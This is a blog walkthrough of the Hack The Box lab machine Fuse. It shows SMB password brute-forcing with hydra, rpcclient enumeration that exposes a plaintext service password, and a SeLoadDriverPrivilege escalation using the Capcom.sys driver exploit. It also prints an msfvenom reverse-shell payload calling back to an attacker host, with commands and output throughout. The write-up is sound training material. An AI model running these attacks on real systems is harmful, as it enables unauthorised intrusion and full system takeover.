I finally found some time again to write a walk-through of a Hack The Box machine. In this post we’ll hack into Fuse, a Medium machine which just got retired and included some password guessing, discovery of stored plaintext credentials and eventually a SeLoadDriverPrivilege escalation.

Recon and Enumeration

To get a first overview of the box, we’ll start with a nmap -sC -sV 10.10.10.193.

PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus 
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-10-30 22:31:39Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped

Looking at the ports and enumeration output, we can tell we’re dealing with a domain controller.

Since we also see port 80 open, let’s first have a quick look at the site at http://10.10.10.193.

It forwards us to http://fuse.fabricorp.local/papercut/logs/html/index.htm, which we can browse normally after adding fuse.fabricorp.local and fabricorp.local to /etc/hosts (you would only need to add fuse.fabricorp.local, but it could be helpful to also have the root domain in it for later parts):

Papercut site

The print logging system lets us access reports for past print jobs and through that also makes it possible to collect some user/machine names and document titles with potential hints:

Users, machines and documents

We learn about the following users:

  • pmerton - JUMP01 - Works in HR?
  • tlavel - LONWK015 - Works in IT?
  • sthompson - LONWK019 - Works in Purchasing?
  • bhult - LAPTOP07
  • administrator - FUSE - Troubleshooting some printing issues?
  • bnielson – New in the company? Maybe a weak default password?

Looking at the other ports, we can’t enumerate too much more as we don’t have valid credentials yet (no LDAP, SMB/RPC enum).

Brute-forcing our way to first credentials

We’ll take a chance and create a small wordlist of passwords containing the company name and try it against the discovered accounts via SMB:

users.txt

bnielson
sthompson
tlavel
pmerton
bhult

passwords.txt

$ echo Fabricorp > seed
$ hashcat -r best64.rule --stdout seed > passwords.txt
Fabricorp
procirbaF
FABRICORP
fabricorp
Fabricorp0
Fabricorp1
Fabricorp2
Fabricorp3
Fabricorp4
Fabricorp5
Fabricorp6
Fabricorp7
Fabricorp8
Fabricorp9
Fabricorp00
Fabricorp01
Fabricorp02
Fabricorp11
[...]

Using hydra for brute-forcing, we quickly get the following results:

$ hydra -L users.txt -P passwords.txt smb://10.10.10.193
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-30 23:47:54
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 60 login tries (l:5/p:12), ~60 tries per task
[DATA] attacking smb://10.10.10.193:445/
[445][smb] Host: 10.10.10.193 Account: bnielson Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193   login: bnielson   password: Fabricorp01
[445][smb] Host: 10.10.10.193 Account: tlavel Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193   login: tlavel   password: Fabricorp01
[445][smb] Host: 10.10.10.193 Account: bhult Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193   login: bhult   password: Fabricorp01

So Fabricorp01 seems to be an expired default password for a couple of accounts. We should be able to reset the password and set our own. Let’s choose tlavel as our target, since it looks like he’s working in IT:

$ smbpasswd -U tlavel -r 10.10.10.193
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user tlavel on 10.10.10.193.

The password change worked and we can authenticate via SMB.

$ smbmap -H 10.10.10.193 -u tlavel -p 'chosenpassword'
[+] IP: 10.10.10.193:445        Name: fabricorp.local
        Disk                  Permissions     Comment
        ----                  -----------     -------
        ADMIN$                NO ACCESS       Remote Admin
        C$                    NO ACCESS       Default share
        HP-MFT01              NO ACCESS       HP-MFT01
        IPC$                  READ ONLY       Remote IPC
        NETLOGON              READ ONLY       Logon server share
        print$                READ ONLY       Printer Drivers
        SYSVOL                READ ONLY       Logon server share

More Enumeration, Finding Plaintext Credentials

Our credentials don’t give us too much in terms of file access – we can mount print$ with mkdir /mnt/print; mount -t cifs -o 'user=tlavel,password=chosenpassword,rw,vers=1.0' //10.10.10.193/print$ /mnt/print, but nothing looks helpful in here.

Let’s see if we can enumerate more users, groups, maybe printers… :-). A good tool to do this kind of enumeration is rpcclient, which will do all the SAMR/SPOOL RPC calls for you:

$ rpcclient -U tlavel 10.10.10.193
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]

rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[IT_Accounts] rid:[0x644]

rpcclient $> enumprinters
        flags:[0x800000]
        name:[\\10.10.10.193\HP-MFT01]
        description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
        comment:[]

The printer description field looks juicy and might fit the svc-scan or svc-print account discovered in the earlier call.

Looking at the groups again, let’s dig into IT_Accounts as it stands out:

rpcclient $> querygroup 0x644
        Group Name:     IT_Accounts
        Description:
        Group Attribute:7
        Num Members:2
rpcclient $> querygroupmem 0x644
        rid:[0x450] attr:[0x7]
        rid:[0x641] attr:[0x7]
rpcclient $> queryuser 0x450
        User Name   :   svc-print
        [...]

svc-print is part of IT_Accounts, svc-scan is just in Domain Users – so let’s try svc-print first. This time we’re using crackmapexec to check:

$ cme smb 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'

SMB         10.10.10.193    445    FUSE             [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB         10.10.10.193    445    FUSE             [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1

Do we also have access via WinRM?

cme winrm 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'

WINRM       10.10.10.193    5985   FUSE             [*] Windows 10.0 Build 14393 (name:FUSE) (domain:fabricorp.local)
WINRM       10.10.10.193    5985   FUSE             [*] http://10.10.10.193:5985/wsman
WINRM       10.10.10.193    5985   FUSE             [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1 (Pwn3d!)

This looks good. We can get our first shell via WinRM.

Privilege Escalation from svc-print using SeLoadDriverPrivilege

To get a PowerShell shell, we can use evil-winrm:

evil-winrm -i 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'

The first thing we run with our low-priv user is a whoami /all to check what we are allowed to do.

*Evil-WinRM* PS C:\Users\svc-print\Documents> whoami /all

USER INFORMATION
----------------

User Name           SID
=================== ==============================================
fabricorp\svc-print S-1-5-21-2633719317-1471316042-3957863514-1104


GROUP INFORMATION
-----------------
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators                    Alias            S-1-5-32-550                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
FABRICORP\IT_Accounts                      Group            S-1-5-21-2633719317-1471316042-3957863514-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeLoadDriverPrivilege         Load and unload device drivers Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

[...]

Not only are we a member of Remote Management Users (we knew that), but also of Print Operators. This gives us the SeLoadDriverPrivilege which allows to load device drivers – and potentially opens up a path to elevate our privileges to SYSTEM by abusing a vulnerable driver’s functionality in combination with a registry entry we can control (HKCU) and pass to the LoadDriver API.

Have a look at the blog post Abusing SeLoadDriverPrivilege for privilege escalation for a good overview of the mechanics of this attack.

Just like in the article, we can use the EoPLoadDriver proof-of-concept tool and the signed Capcom.sys driver together with the public ExploitCapcom exploit from GitHub.

First, we switch over to a Windows system, clone the EiPLoadDriver repository and compile EoPLoadDriver.cpp. Next, we clone the ExploitCapcom repo (it already comes with a Visual Studio solution file), but make a slight adjustment before compiling.

In the LaunchShell function we “quick and dirty” call our own reverse shell, instead of cmd.exe:

static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("C:\\Windows\\Temp\\revshell.exe");
    [...]

We can now build the app and move on to creating a small reverse shell with msfvenom:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.20 LPORT=80 -f exe -o revshell.exe

The only thing that is left is the Capcom.sys driver. I found a copy matching the checksum on GitHub in the Capcom-Rootkit repository.

With the four files at hand, we are ready to drop some binaries on the target.

I’m using the upload functionality inside evil-winrm:

upload EopLoadDriver.exe
upload Capcom.sys
upload ExploitCapcom.exe
upload revshell.exe

Next, we prepare the netcat listener on our machine:

nc -lvnp 80

And then run the exploit:

*Evil-WinRM* PS C:\Windows\Temp> .\EopLoadDriver.exe System\CurrentControlSet\MyService C:\Windows\Temp\Capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\System\CurrentControlSet\MyService
NTSTATUS: 00000000, WinError: 0

*Evil-WinRM* PS C:\Windows\Temp> .\ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 0000018A080A0008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program

And we get our SYSTEM shell back:

$ nc -lvnp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.193.
Ncat: Connection from 10.10.10.193:49747.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\Temp>whoami
whoami
nt authority\system